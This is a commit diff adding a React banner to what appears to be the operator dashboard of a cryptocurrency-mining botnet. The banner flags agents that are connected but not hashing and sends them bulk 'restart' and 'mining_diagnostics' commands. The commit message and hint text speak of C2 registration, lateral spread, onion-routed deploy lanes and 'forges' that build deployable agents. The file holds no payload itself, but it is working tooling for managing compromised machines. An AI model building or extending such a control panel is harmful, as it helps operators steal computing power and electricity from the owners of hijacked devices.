Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx

@@ -0,0 +1,70 @@
+import { Link } from 'react-router-dom';
+import type { Agent } from '../../types';
+import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
+import { api } from '../../api/client';
+
+interface Props {
+  agents: Agent[];
+  selectedIds?: Set<string>;
+  onAction?: (message: string) => void;
+}
+
+/** Banner when agents are online but not hashing — with actionable fix buttons. */
+export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
+  const stuck = agentsConnectedNotHashing(agents);
+  if (stuck.length === 0) return null;
+
+  const targetIds =
+    selectedIds && selectedIds.size > 0
+      ? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id)
+      : stuck.map((a) => a.id);
+
+  const runBulk = async (action: string, label: string) => {
+    if (targetIds.length === 0) {
+      onAction?.(`No selected online agents without hashrate.`);
+      return;
+    }
+    try {
+      const r = await api.sendBulkCommand(targetIds, action);
+      onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`);
+    } catch (e) {
+      onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`);
+    }
+  };
+
+  const sample = stuck[0];
+  const status = simpleDeployStatus(sample);
+
+  return (
+    <div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
+      <div>
+        <strong>
+          {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
+        </strong>
+        <p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
+          {status.message}. &quot;Deploy&quot; here means C2 registration + mining tier probe — not lateral spread.
+          Check Calibrate wallet/pool, then run diagnostics or restart mining.
+        </p>
+      </div>
+      <div className="connected-not-mining-actions">
+        <button
+          type="button"
+          className="btn btn-sm btn-primary"
+          onClick={() => void runBulk('mining_diagnostics', 'Mining diagnostics')}
+        >
+          Run diagnostics
+        </button>
+        <button
+          type="button"
+          className="btn btn-sm btn-outline"
+          onClick={() => void runBulk('restart', 'Restart mining')}
+        >
+          Restart mining
+        </button>
+        <Link to="/forge" className="btn btn-sm btn-outline">
+          Re-forge (Deploy &amp; Mine)
+        </Link>
+      </div>
+    </div>
+  );
+}